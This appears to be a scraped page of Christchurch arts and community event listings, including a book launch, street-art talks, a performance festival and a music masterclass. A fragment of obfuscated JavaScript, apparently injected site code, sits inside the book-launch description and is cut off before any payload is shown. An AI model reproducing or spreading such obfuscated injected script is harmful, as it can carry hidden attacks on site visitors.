August 2021
Book Launch at Scorpio: John Summers, ‘The Commercial Hotel’
Scorpio Books is thrilled to host the Christchurch launch of John Summers' new essay collection, 'The Commercial Hotel'. Combining reportage and memoir, it is a sharp-eyed, poignant yet often hilarious tour of Aotearoa. WHEN: Thursday 12th August, 5.30 for 6pm start WHERE: Scorpio Books, Five Lanes at the BNZ Centre, 120 Hereford St, Chch CBD RSVP: bel@scorpiobooks.co.nz (for catering purposes) Refreshment provided. John will discuss his new book, do a reading and sign copies. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function…
Find out more »March 2022
Watch This Space Presents: FLARE Artist Talks
Join us at 12 Bar (342 St Asaph Street) for an evening of conversation with the Flare Street Art Festival’s headline artists! The Flare Street Art Festival and Watch This Space are proud to present a panel discussion with Flare artists, exploring their experiences, inspirations, and motivations as artists transforming our towns and cities! For details on ticketing and live stream options, visit https://flare.nz/programme! Watch This Space is an arts trust dedicated to exploring, documenting, and celebrating urban art in…
Find out more »February 2023
Ōtautahi Tiny Performance Festival
?tautahi Tiny Performance Festival is a platform for the next wave of performance makers and audiences in ?tautahi. The 2023 program includes 60 artists, 21 shows, over 3 days of unmissable performance, at Christchurch Art Gallery Te Puna o Waiwhetu, University of Canterbury Arts at The Arts Centre Te Matatiki Toi Ora, and Canterbury Workers Educational Association. Tiny Fest creates space for mana k?rero, mana ao t?roa, and mana tangata, by bringing people together to celebrate differences and the ways…
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Everyone has a story – International Women’s Day
Join us for an empowering evening with a mix of speakers and performances that celebrate women's achievement, raise awareness against bias and empower us all to action for equity. This event is not just for women, but for anyone that supports gender equity. Our speakers are drawn from our 'humans' community and each has a powerful story to share. * Kerryn Beaton - Kings Council, barrister, criminal defense lawyer * Hana Sameon-Beck - Community partnerships advisor, change-maker * Sophie Elstob…
Find out more »May 2023
Artist In Residence – Barnaby Weir (The Black Seeds)
SOLE Music Academy is proud to present Artist In Residence Barnaby Weir! Lead singer of The Black Seeds, Fly My Pretties and Dub Connection, Barnaby Weir, will running two Masterclasses on the 1st of May as a way to kick start New Zealand Music Month and warm up the SOLE Music Academy stage for our three-part Speaker Series. Songwriting Masterclass - Age 18+, 11.00am-1.00pm Songwriting Masterclass - Age 12+, 3.30pm-5.30pm I?n these masterclasses Barnaby will give you advice on songwriting,…
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